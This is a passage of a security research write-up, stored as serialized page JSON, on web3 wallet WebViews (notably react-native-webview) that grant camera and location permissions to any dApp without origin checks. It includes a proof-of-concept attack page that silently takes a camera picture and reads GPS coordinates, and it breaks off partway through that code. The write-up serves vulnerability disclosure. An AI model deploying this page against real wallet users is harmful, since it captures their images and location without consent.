of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":21,"tag":30,"props":156964,"children":156965},{},[156966],{"type":27,"value":156967},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":21,"tag":30,"props":156969,"children":156970},{},[156971],{"type":27,"value":156972},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":21,"tag":22,"props":156974,"children":156976},{"id":156975},"handling-webview-permissions",[156977],{"type":27,"value":156978},"Handling WebView permissions",{"type":21,"tag":30,"props":156980,"children":156981},{},[156982],{"type":27,"value":156983},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":21,"tag":59,"props":156985,"children":156987},{"id":156986},"android",[156988],{"type":27,"value":156989},"Android",{"type":21,"tag":30,"props":156991,"children":156992},{},[156993,156995,157002,157004,157010],{"type":27,"value":156994},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":21,"tag":34,"props":156996,"children":156999},{"href":156997,"rel":156998},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[38],[157000],{"type":27,"value":157001},"onPermissionRequest",{"type":27,"value":157003},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":21,"tag":194,"props":157005,"children":157007},{"className":157006},[],[157008],{"type":27,"value":157009},"PermissionRequest",{"type":27,"value":157011}," object where the WebView developers must decide whether to grant or deny it.",{"type":21,"tag":3741,"props":157013,"children":157014},{},[157015],{"type":21,"tag":30,"props":157016,"children":157017},{},[157018,157020,157023],{"type":27,"value":157019},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":21,"tag":198,"props":157021,"children":157022},{},[],{"type":27,"value":157024},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":21,"tag":30,"props":157026,"children":157027},{},[157028,157030,157036,157038,157044],{"type":27,"value":157029},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":21,"tag":194,"props":157031,"children":157033},{"className":157032},[],[157034],{"type":27,"value":157035},"getOrigin()",{"type":27,"value":157037}," and the requested permissions with ",{"type":21,"tag":194,"props":157039,"children":157041},{"className":157040},[],[157042],{"type":27,"value":157043},"getResources()",{"type":27,"value":658},{"type":21,"tag":30,"props":157046,"children":157047},{},[157048,157050,157057],{"type":27,"value":157049},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":21,"tag":34,"props":157051,"children":157054},{"href":157052,"rel":157053},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[38],[157055],{"type":27,"value":157056},"webview_shell",{"type":27,"value":157058},". In this instance, no origin checks are performed.",{"type":21,"tag":59,"props":157060,"children":157062},{"id":157061},"ios",[157063],{"type":27,"value":157064},"iOS",{"type":21,"tag":30,"props":157066,"children":157067},{},[157068,157070,157077],{"type":27,"value":157069},"On the contrary, iOS ",{"type":21,"tag":34,"props":157071,"children":157074},{"href":157072,"rel":157073},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[38],[157075],{"type":27,"value":157076},"documentation",{"type":27,"value":157078}," states that:",{"type":21,"tag":3741,"props":157080,"children":157081},{},[157082],{"type":21,"tag":30,"props":157083,"children":157084},{},[157085],{"type":27,"value":157086},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":21,"tag":30,"props":157088,"children":157089},{},[157090],{"type":27,"value":157091},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":21,"tag":22,"props":157093,"children":157095},{"id":157094},"the-shortcomings-of-webview-implementations",[157096],{"type":27,"value":157097},"The shortcomings of WebView implementations",{"type":21,"tag":30,"props":157099,"children":157100},{},[157101],{"type":27,"value":157102},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":21,"tag":3164,"props":157104,"children":157105},{"style":3597},[157106],{"type":21,"tag":1376,"props":157107,"children":157111},{"src":157108,"alt":157109,"style":157110},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":21,"tag":30,"props":157113,"children":157114},{},[157115,157117,157123,157125,157131],{"type":27,"value":157116},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":21,"tag":194,"props":157118,"children":157120},{"className":157119},[],[157121],{"type":27,"value":157122},"react-native-webview",{"type":27,"value":157124},". If we take a look at how they handle a request that reaches the ",{"type":21,"tag":34,"props":157126,"children":157129},{"href":157127,"rel":157128},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[38],[157130],{"type":27,"value":157001},{"type":27,"value":157132}," method, we see a similar pattern.",{"type":21,"tag":187,"props":157134,"children":157138},{"className":157135,"code":157136,"language":157137,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[157139],{"type":21,"tag":194,"props":157140,"children":157141},{"__ignoreMap":7},[157142,157150,157179,157239,157259,157270],{"type":21,"tag":198,"props":157143,"children":157144},{"class":200,"line":201},[157145],{"type":21,"tag":198,"props":157146,"children":157147},{"style":1233},[157148],{"type":27,"value":157149},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":21,"tag":198,"props":157151,"children":157152},{"class":200,"line":217},[157153,157157,157161,157166,157170,157175],{"type":21,"tag":198,"props":157154,"children":157155},{"style":640},[157156],{"type":27,"value":16382},{"type":21,"tag":198,"props":157158,"children":157159},{"style":211},[157160],{"type":27,"value":648},{"type":21,"tag":198,"props":157162,"children":157163},{"style":226},[157164],{"type":27,"value":157165},"requestedAndroidPermissions",{"type":21,"tag":198,"props":157167,"children":157168},{"style":211},[157169],{"type":27,"value":658},{"type":21,"tag":198,"props":157171,"children":157172},{"style":698},[157173],{"type":27,"value":157174},"isEmpty",{"type":21,"tag":198,"props":157176,"children":157177},{"style":211},[157178],{"type":27,"value":92403},{"type":21,"tag":198,"props":157180,"children":157181},{"class":200,"line":236},[157182,157187,157191,157196,157200,157205,157209,157214,157218,157222,157227,157231,157235],{"type":21,"tag":198,"props":157183,"children":157184},{"style":226},[157185],{"type":27,"value":157186}," request",{"type":21,"tag":198,"props":157188,"children":157189},{"style":211},[157190],{"type":27,"value":658},{"type":21,"tag":198,"props":157192,"children":157193},{"style":698},[157194],{"type":27,"value":157195},"grant",{"type":21,"tag":198,"props":157197,"children":157198},{"style":211},[157199],{"type":27,"value":706},{"type":21,"tag":198,"props":157201,"children":157202},{"style":226},[157203],{"type":27,"value":157204},"grantedPermissions",{"type":21,"tag":198,"props":157206,"children":157207},{"style":211},[157208],{"type":27,"value":658},{"type":21,"tag":198,"props":157210,"children":157211},{"style":698},[157212],{"type":27,"value":157213},"toArray",{"type":21,"tag":198,"props":157215,"children":157216},{"style":211},[157217],{"type":27,"value":706},{"type":21,"tag":198,"props":157219,"children":157220},{"style":640},[157221],{"type":27,"value":15927},{"type":21,"tag":198,"props":157223,"children":157224},{"style":1966},[157225],{"type":27,"value":157226}," String",{"type":21,"tag":198,"props":157228,"children":157229},{"style":211},[157230],{"type":27,"value":2051},{"type":21,"tag":198,"props":157232,"children":157233},{"style":2540},[157234],{"type":27,"value":3482},{"type":21,"tag":198,"props":157236,"children":157237},{"style":211},[157238],{"type":27,"value":103894},{"type":21,"tag":198,"props":157240,"children":157241},{"class":200,"line":260},[157242,157247,157251,157255],{"type":21,"tag":198,"props":157243,"children":157244},{"style":211},[157245],{"type":27,"value":157246}," grantedPermissions ",{"type":21,"tag":198,"props":157248,"children":157249},{"style":683},[157250],{"type":27,"value":3174},{"type":21,"tag":198,"props":157252,"children":157253},{"style":249},[157254],{"type":27,"value":70649},{"type":21,"tag":198,"props":157256,"children":157257},{"style":211},[157258],{"type":27,"value":1483},{"type":21,"tag":198,"props":157260,"children":157261},{"class":200,"line":281},[157262,157266],{"type":21,"tag":198,"props":157263,"children":157264},{"style":640},[157265],{"type":27,"value":1478},{"type":21,"tag":198,"props":157267,"children":157268},{"style":211},[157269],{"type":27,"value":1483},{"type":21,"tag":198,"props":157271,"children":157272},{"class":200,"line":302},[157273],{"type":21,"tag":198,"props":157274,"children":157275},{"style":211},[157276],{"type":27,"value":1120},{"type":21,"tag":30,"props":157278,"children":157279},{},[157280],{"type":27,"value":157281},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":21,"tag":59,"props":157283,"children":157285},{"id":157284},"real-world-exploitation",[157286],{"type":27,"value":157287},"Real world exploitation",{"type":21,"tag":30,"props":157289,"children":157290},{},[157291],{"type":27,"value":157292},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":21,"tag":30,"props":157294,"children":157295},{},[157296],{"type":27,"value":157297},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":21,"tag":30,"props":157299,"children":157300},{},[157301,157303,157310],{"type":27,"value":157302},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":21,"tag":34,"props":157304,"children":157307},{"href":157305,"rel":157306},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[38],[157308],{"type":27,"value":157309},"Justson",{"type":27,"value":157311},", used by a popular wallet in the Stellar ecosystem.",{"type":21,"tag":162,"props":157313,"children":157314},{"id":40260},[157315],{"type":27,"value":35606},{"type":21,"tag":30,"props":157317,"children":157318},{},[157319],{"type":27,"value":157320},"In order to exploit this issue, we assume the following preconditions:",{"type":21,"tag":71,"props":157322,"children":157323},{},[157324,157329,157334],{"type":21,"tag":75,"props":157325,"children":157326},{},[157327],{"type":27,"value":157328},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":21,"tag":75,"props":157330,"children":157331},{},[157332],{"type":27,"value":157333},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":21,"tag":75,"props":157335,"children":157336},{},[157337],{"type":27,"value":157338},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":21,"tag":187,"props":157340,"children":157342},{"className":3144,"code":157341,"language":3146,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[157343],{"type":21,"tag":194,"props":157344,"children":157345},{"__ignoreMap":7},[157346,157366,157381,157397,157427,157450,157465,157480,157512,157558,157594,157622,157637,157683,157729,157737,157805,157833,157848,157856,157863,157883,157943,157984,158013,158054,158061,158090,158128,158165,158172,158179,158212,158233,158240,158302,158358,158394,158440,158448,158455,158498,158531,158656,158689,158696,158703,158710,158722,158737,158752],{"type":21,"tag":198,"props":157347,"children":157348},{"class":200,"line":201},[157349,157353,157357,157362],{"type":21,"tag":198,"props":157350,"children":157351},{"style":3156},[157352],{"type":27,"value":35002},{"type":21,"tag":198,"props":157354,"children":157355},{"style":249},[157356],{"type":27,"value":35007},{"type":21,"tag":198,"props":157358,"children":157359},{"style":226},[157360],{"type":27,"value":157361}," html",{"type":21,"tag":198,"props":157363,"children":157364},{"style":3156},[157365],{"type":27,"value":3203},{"type":21,"tag":198,"props":157367,"children":157368},{"class":200,"line":217},[157369,157373,157377],{"type":21,"tag":198,"props":157370,"children":157371},{"style":3156},[157372],{"type":27,"value":3159},{"type":21,"tag":198,"props":157374,"children":157375},{"style":249},[157376],{"type":27,"value":3146},{"type":21,"tag":198,"props":157378,"children":157379},{"style":3156},[157380],{"type":27,"value":3203},{"type":21,"tag":198,"props":157382,"children":157383},{"class":200,"line":236},[157384,157388,157393],{"type":21,"tag":198,"props":157385,"children":157386},{"style":3156},[157387],{"type":27,"value":3159},{"type":21,"tag":198,"props":157389,"children":157390},{"style":249},[157391],{"type":27,"value":157392},"head",{"type":21,"tag":198,"props":157394,"children":157395},{"style":3156},[157396],{"type":27,"value":3203},{"type":21,"tag":198,"props":157398,"children":157399},{"class":200,"line":260},[157400,157404,157409,157414,157418,157423],{"type":21,"tag":198,"props":157401,"children":157402},{"style":3156},[157403],{"type":27,"value":33229},{"type":21,"tag":198,"props":157405,"children":157406},{"style":249},[157407],{"type":27,"value":157408},"meta",{"type":21,"tag":198,"props":157410,"children":157411},{"style":226},[157412],{"type":27,"value":157413}," charset",{"type":21,"tag":198,"props":157415,"children":157416},{"style":211},[157417],{"type":27,"value":3174},{"type":21,"tag":198,"props":157419,"children":157420},{"style":205},[157421],{"type":27,"value":157422},"\"utf-8\"",{"type":21,"tag":198,"props":157424,"children":157425},{"style":3156},[157426],{"type":27,"value":3203},{"type":21,"tag":198,"props":157428,"children":157429},{"class":200,"line":281},[157430,157434,157438,157442,157446],{"type":21,"tag":198,"props":157431,"children":157432},{"style":3156},[157433],{"type":27,"value":33229},{"type":21,"tag":198,"props":157435,"children":157436},{"style":249},[157437],{"type":27,"value":35080},{"type":21,"tag":198,"props":157439,"children":157440},{"style":3156},[157441],{"type":27,"value":3194},{"type":21,"tag":198,"props":157443,"children":157444},{"style":249},[157445],{"type":27,"value":35080},{"type":21,"tag":198,"props":157447,"children":157448},{"style":3156},[157449],{"type":27,"value":3203},{"type":21,"tag":198,"props":157451,"children":157452},{"class":200,"line":302},[157453,157457,157461],{"type":21,"tag":198,"props":157454,"children":157455},{"style":3156},[157456],{"type":27,"value":33213},{"type":21,"tag":198,"props":157458,"children":157459},{"style":249},[157460],{"type":27,"value":157392},{"type":21,"tag":198,"props":157462,"children":157463},{"style":3156},[157464],{"type":27,"value":3203},{"type":21,"tag":198,"props":157466,"children":157467},{"class":200,"line":323},[157468,157472,157476],{"type":21,"tag":198,"props":157469,"children":157470},{"style":3156},[157471],{"type":27,"value":3159},{"type":21,"tag":198,"props":157473,"children":157474},{"style":249},[157475],{"type":27,"value":3342},{"type":21,"tag":198,"props":157477,"children":157478},{"style":3156},[157479],{"type":27,"value":3203},{"type":21,"tag":198,"props":157481,"children":157482},{"class":200,"line":344},[157483,157487,157491,157495,157500,157504,157508],{"type":21,"tag":198,"props":157484,"children":157485},{"style":3156},[157486],{"type":27,"value":33229},{"type":21,"tag":198,"props":157488,"children":157489},{"style":249},[157490],{"type":27,"value":22},{"type":21,"tag":198,"props":157492,"children":157493},{"style":3156},[157494],{"type":27,"value":11270},{"type":21,"tag":198,"props":157496,"children":157497},{"style":211},[157498],{"type":27,"value":157499},"Smile dApp :)",{"type":21,"tag":198,"props":157501,"children":157502},{"style":3156},[157503],{"type":27,"value":33213},{"type":21,"tag":198,"props":157505,"children":157506},{"style":249},[157507],{"type":27,"value":22},{"type":21,"tag":198,"props":157509,"children":157510},{"style":3156},[157511],{"type":27,"value":3203},{"type":21,"tag":198,"props":157513,"children":157514},{"class":200,"line":365},[157515,157519,157524,157528,157532,157537,157541,157546,157550,157554],{"type":21,"tag":198,"props":157516,"children":157517},{"style":3156},[157518],{"type":27,"value":33229},{"type":21,"tag":198,"props":157520,"children":157521},{"style":249},[157522],{"type":27,"value":157523},"button",{"type":21,"tag":198,"props":157525,"children":157526},{"style":226},[157527],{"type":27,"value":3169},{"type":21,"tag":198,"props":157529,"children":157530},{"style":211},[157531],{"type":27,"value":3174},{"type":21,"tag":198,"props":157533,"children":157534},{"style":205},[157535],{"type":27,"value":157536},"\"connect\"",{"type":21,"tag":198,"props":157538,"children":157539},{"style":3156},[157540],{"type":27,"value":11270},{"type":21,"tag":198,"props":157542,"children":157543},{"style":211},[157544],{"type":27,"value":157545},"Connect your wallet!",{"type":21,"tag":198,"props":157547,"children":157548},{"style":3156},[157549],{"type":27,"value":33213},{"type":21,"tag":198,"props":157551,"children":157552},{"style":249},[157553],{"type":27,"value":157523},{"type":21,"tag":198,"props":157555,"children":157556},{"style":3156},[157557],{"type":27,"value":3203},{"type":21,"tag":198,"props":157559,"children":157560},{"class":200,"line":386},[157561,157565,157569,157573,157577,157582,157586,157590],{"type":21,"tag":198,"props":157562,"children":157563},{"style":3156},[157564],{"type":27,"value":33229},{"type":21,"tag":198,"props":157566,"children":157567},{"style":249},[157568],{"type":27,"value":187},{"type":21,"tag":198,"props":157570,"children":157571},{"style":226},[157572],{"type":27,"value":3169},{"type":21,"tag":198,"props":157574,"children":157575},{"style":211},[157576],{"type":27,"value":3174},{"type":21,"tag":198,"props":157578,"children":157579},{"style":205},[157580],{"type":27,"value":157581},"\"gps\"",{"type":21,"tag":198,"props":157583,"children":157584},{"style":3156},[157585],{"type":27,"value":3194},{"type":21,"tag":198,"props":157587,"children":157588},{"style":249},[157589],{"type":27,"value":187},{"type":21,"tag":198,"props":157591,"children":157592},{"style":3156},[157593],{"type":27,"value":3203},{"type":21,"tag":198,"props":157595,"children":157596},{"class":200,"line":408},[157597,157601,157605,157609,157613,157618],{"type":21,"tag":198,"props":157598,"children":157599},{"style":3156},[157600],{"type":27,"value":33229},{"type":21,"tag":198,"props":157602,"children":157603},{"style":249},[157604],{"type":27,"value":1376},{"type":21,"tag":198,"props":157606,"children":157607},{"style":226},[157608],{"type":27,"value":3169},{"type":21,"tag":198,"props":157610,"children":157611},{"style":211},[157612],{"type":27,"value":3174},{"type":21,"tag":198,"props":157614,"children":157615},{"style":205},[157616],{"type":27,"value":157617},"\"pic\"",{"type":21,"tag":198,"props":157619,"children":157620},{"style":3156},[157621],{"type":27,"value":3203},{"type":21,"tag":198,"props":157623,"children":157624},{"class":200,"line":429},[157625,157629,157633],{"type":21,"tag":198,"props":157626,"children":157627},{"style":3156},[157628],{"type":27,"value":33229},{"type":21,"tag":198,"props":157630,"children":157631},{"style":249},[157632],{"type":27,"value":33199},{"type":21,"tag":198,"props":157634,"children":157635},{"style":3156},[157636],{"type":27,"value":3203},{"type":21,"tag":198,"props":157638,"children":157639},{"class":200,"line":450},[157640,157645,157649,157654,157658,157663,157667,157671,157675,157679],{"type":21,"tag":198,"props":157641,"children":157642},{"style":226},[157643],{"type":27,"value":157644}," window",{"type":21,"tag":198,"props":157646,"children":157647},{"style":683},[157648],{"type":27,"value":658},{"type":21,"tag":198,"props":157650,"children":157651},{"style":698},[157652],{"type":27,"value":157653},"addEventListener",{"type":21,"tag":198,"props":157655,"children":157656},{"style":683},[157657],{"type":27,"value":706},{"type":21,"tag":198,"props":157659,"children":157660},{"style":205},[157661],{"type":27,"value":157662},"'unhandledrejection'",{"type":21,"tag":198,"props":157664,"children":157665},{"style":683},[157666],{"type":27,"value":828},{"type":21,"tag":198,"props":157668,"children":157669},{"style":249},[157670],{"type":27,"value":892},{"type":21,"tag":198,"props":157672,"children":157673},{"style":683},[157674],{"type":27,"value":648},{"type":21,"tag":198,"props":157676,"children":157677},{"style":226},[157678],{"type":27,"value":82510},{"type":21,"tag":198,"props":157680,"children":157681},{"style":683},[157682],{"type":27,"value":668},{"type":21,"tag":198,"props":157684,"children":157685},{"class":200,"line":468},[157686,157691,157695,157700,157704,157708,157712,157717,157721,157725],{"type":21,"tag":198,"props":157687,"children":157688},{"style":698},[157689],{"type":27,"value":157690}," alert",{"type":21,"tag":198,"props":157692,"children":157693},{"style":683},[157694],{"type":27,"value":706},{"type":21,"tag":198,"props":157696,"children":157697},{"style":205},[157698],{"type":27,"value":157699},"`Unhandled Promise Rejection: ",{"type":21,"tag":198,"props":157701,"children":157702},{"style":249},[157703],{"type":27,"value":756},{"type":21,"tag":198,"props":157705,"children":157706},{"style":226},[157707],{"type":27,"value":82510},{"type":21,"tag":198,"props":157709,"children":157710},{"style":683},[157711],{"type":27,"value":658},{"type":21,"tag":198,"props":157713,"children":157714},{"style":226},[157715],{"type":27,"value":157716},"reason",{"type":21,"tag":198,"props":157718,"children":157719},{"style":249},[157720],{"type":27,"value":779},{"type":21,"tag":198,"props":157722,"children":157723},{"style":205},[157724],{"type":27,"value":11191},{"type":21,"tag":198,"props":157726,"children":157727},{"style":683},[157728],{"type":27,"value":1470},{"type":21,"tag":198,"props":157730,"children":157731},{"class":200,"line":477},[157732],{"type":21,"tag":198,"props":157733,"children":157734},{"style":683},[157735],{"type":27,"value":157736}," });\n",{"type":21,"tag":198,"props":157738,"children":157739},{"class":200,"line":494},[157740,157744,157748,157752,157756,157760,157764,157768,157772,157776,157780,157784,157788,157793,157797,157801],{"type":21,"tag":198,"props":157741,"children":157742},{"style":226},[157743],{"type":27,"value":157644},{"type":21,"tag":198,"props":157745,"children":157746},{"style":683},[157747],{"type":27,"value":658},{"type":21,"tag":198,"props":157749,"children":157750},{"style":698},[157751],{"type":27,"value":33470},{"type":21,"tag":198,"props":157753,"children":157754},{"style":683},[157755],{"type":27,"value":33690},{"type":21,"tag":198,"props":157757,"children":157758},{"style":249},[157759],{"type":27,"value":892},{"type":21,"tag":198,"props":157761,"children":157762},{"style":683},[157763],{"type":27,"value":648},{"type":21,"tag":198,"props":157765,"children":157766},{"style":226},[157767],{"type":27,"value":58323},{"type":21,"tag":198,"props":157769,"children":157770},{"style":683},[157771],{"type":27,"value":828},{"type":21,"tag":198,"props":157773,"children":157774},{"style":226},[157775],{"type":27,"value":70757},{"type":21,"tag":198,"props":157777,"children":157778},{"style":683},[157779],{"type":27,"value":828},{"type":21,"tag":198,"props":157781,"children":157782},{"style":226},[157783],{"type":27,"value":200},{"type":21,"tag":198,"props":157785,"children":157786},{"style":683},[157787],{"type":27,"value":828},{"type":21,"tag":198,"props":157789,"children":157790},{"style":226},[157791],{"type":27,"value":157792},"col",{"type":21,"tag":198,"props":157794,"children":157795},{"style":683},[157796],{"type":27,"value":828},{"type":21,"tag":198,"props":157798,"children":157799},{"style":226},[157800],{"type":27,"value":15668},{"type":21,"tag":198,"props":157802,"children":157803},{"style":683},[157804],{"type":27,"value":668},{"type":21,"tag":198,"props":157806,"children":157807},{"class":200,"line":515},[157808,157812,157816,157821,157825,157829],{"type":21,"tag":198,"props":157809,"children":157810},{"style":698},[157811],{"type":27,"value":157690},{"type":21,"tag":198,"props":157813,"children":157814},{"style":683},[157815],{"type":27,"value":706},{"type":21,"tag":198,"props":157817,"children":157818},{"style":205},[157819],{"type":27,"value":157820},"'onerror: '",{"type":21,"tag":198,"props":157822,"children":157823},{"style":683},[157824],{"type":27,"value":35473},{"type":21,"tag":198,"props":157826,"children":157827},{"style":226},[157828],{"type":27,"value":58323},{"type":21,"tag":198,"props":157830,"children":157831},{"style":683},[157832],{"type":27,"value":1470},{"type":21,"tag":198,"props":157834,"children":157835},{"class":200,"line":4484},[157836,157840,157844],{"type":21,"tag":198,"props":157837,"children":157838},{"style":640},[157839],{"type":27,"value":79458},{"type":21,"tag":198,"props":157841,"children":157842},{"style":249},[157843],{"type":27,"value":9868},{"type":21,"tag":198,"props":157845,"children":157846},{"style":683},[157847],{"type":27,"value":1483},{"type":21,"tag":198,"props":157849,"children":157850},{"class":200,"line":4493},[157851],{"type":21,"tag":198,"props":157852,"children":157853},{"style":683},[157854],{"type":27,"value":157855}," };\n",{"type":21,"tag":198,"props":157857,"children":157858},{"class":200,"line":4561},[157859],{"type":21,"tag":198,"props":157860,"children":157861},{"emptyLinePlaceholder":16},[157862],{"type":27,"value":1283},{"type":21,"tag":198,"props":157864,"children":157865},{"class":200,"line":4569},[157866,157871,157875,157879],{"type":21,"tag":198,"props":157867,"children":157868},{"style":249},[157869],{"type":27,"value":157870}," async",{"type":21,"tag":198,"props":157872,"children":157873},{"style":249},[157874],{"type":27,"value":2000},{"type":21,"tag":198,"props":157876,"children":157877},{"style":698},[157878],{"type":27,"value":91162},{"type":21,"tag":198,"props":157880,"children":157881},{"style":683},[157882],{"type":27,"value":16539},{"type":21,"tag":198,"props":157884,"children":157885},{"class":200,"line":4599},[157886,157890,157895,157899,157903,157908,157912,157917,157921,157926,157930,157935,157939],{"type":21,"tag":198,"props":157887,"children":157888},{"style":249},[157889],{"type":27,"value":151416},{"type":21,"tag":198,"props":157891,"children":157892},{"style":226},[157893],{"type":27,"value":157894}," stream",{"type":21,"tag":198,"props":157896,"children":157897},{"style":683},[157898],{"type":27,"value":33690},{"type":21,"tag":198,"props":157900,"children":157901},{"style":640},[157902],{"type":27,"value":33695},{"type":21,"tag":198,"props":157904,"children":157905},{"style":226},[157906],{"type":27,"value":157907}," navigator",{"type":21,"tag":198,"props":157909,"children":157910},{"style":683},[157911],{"type":27,"value":658},{"type":21,"tag":198,"props":157913,"children":157914},{"style":226},[157915],{"type":27,"value":157916},"mediaDevices",{"type":21,"tag":198,"props":157918,"children":157919},{"style":683},[157920],{"type":27,"value":658},{"type":21,"tag":198,"props":157922,"children":157923},{"style":698},[157924],{"type":27,"value":157925},"getUserMedia",{"type":21,"tag":198,"props":157927,"children":157928},{"style":683},[157929],{"type":27,"value":32285},{"type":21,"tag":198,"props":157931,"children":157932},{"style":226},[157933],{"type":27,"value":157934},"video:",{"type":21,"tag":198,"props":157936,"children":157937},{"style":249},[157938],{"type":27,"value":252},{"type":21,"tag":198,"props":157940,"children":157941},{"style":683},[157942],{"type":27,"value":39593},{"type":21,"tag":198,"props":157944,"children":157945},{"class":200,"line":4607},[157946,157950,157955,157959,157963,157967,157971,157975,157980],{"type":21,"tag":198,"props":157947,"children":157948},{"style":249},[157949],{"type":27,"value":151416},{"type":21,"tag":198,"props":157951,"children":157952},{"style":226},[157953],{"type":27,"value":157954}," video",{"type":21,"tag":198,"props":157956,"children":157957},{"style":683},[157958],{"type":27,"value":33690},{"type":21,"tag":198,"props":157960,"children":157961},{"style":226},[157962],{"type":27,"value":1300},{"type":21,"tag":198,"props":157964,"children":157965},{"style":683},[157966],{"type":27,"value":658},{"type":21,"tag":198,"props":157968,"children":157969},{"style":698},[157970],{"type":27,"value":37493},{"type":21,"tag":198,"props":157972,"children":157973},{"style":683},[157974],{"type":27,"value":706},{"type":21,"tag":198,"props":157976,"children":157977},{"style":205},[157978],{"type":27,"value":157979},"\"video\"",{"type":21,"tag":198,"props":157981,"children":157982},{"style":683},[157983],{"type":27,"value":1470},{"type":21,"tag":198,"props":157985,"children":157986},{"class":200,"line":4638},[157987,157992,157996,158001,158005,158009],{"type":21,"tag":198,"props":157988,"children":157989},{"style":226},[157990],{"type":27,"value":157991}," video",{"type":21,"tag":198,"props":157993,"children":157994},{"style":683},[157995],{"type":27,"value":658},{"type":21,"tag":198,"props":157997,"children":157998},{"style":226},[157999],{"type":27,"value":158000},"srcObject",{"type":21,"tag":198,"props":158002,"children":158003},{"style":683},[158004],{"type":27,"value":33690},{"type":21,"tag":198,"props":158006,"children":158007},{"style":226},[158008],{"type":27,"value":37033},{"type":21,"tag":198,"props":158010,"children":158011},{"style":683},[158012],{"type":27,"value":1483},{"type":21,"tag":198,"props":158014,"children":158015},{"class":200,"line":4646},[158016,158020,158025,158029,158033,158037,158041,158045,158050],{"type":21,"tag":198,"props":158017,"children":158018},{"style":249},[158019],{"type":27,"value":151416},{"type":21,"tag":198,"props":158021,"children":158022},{"style":226},[158023],{"type":27,"value":158024}," 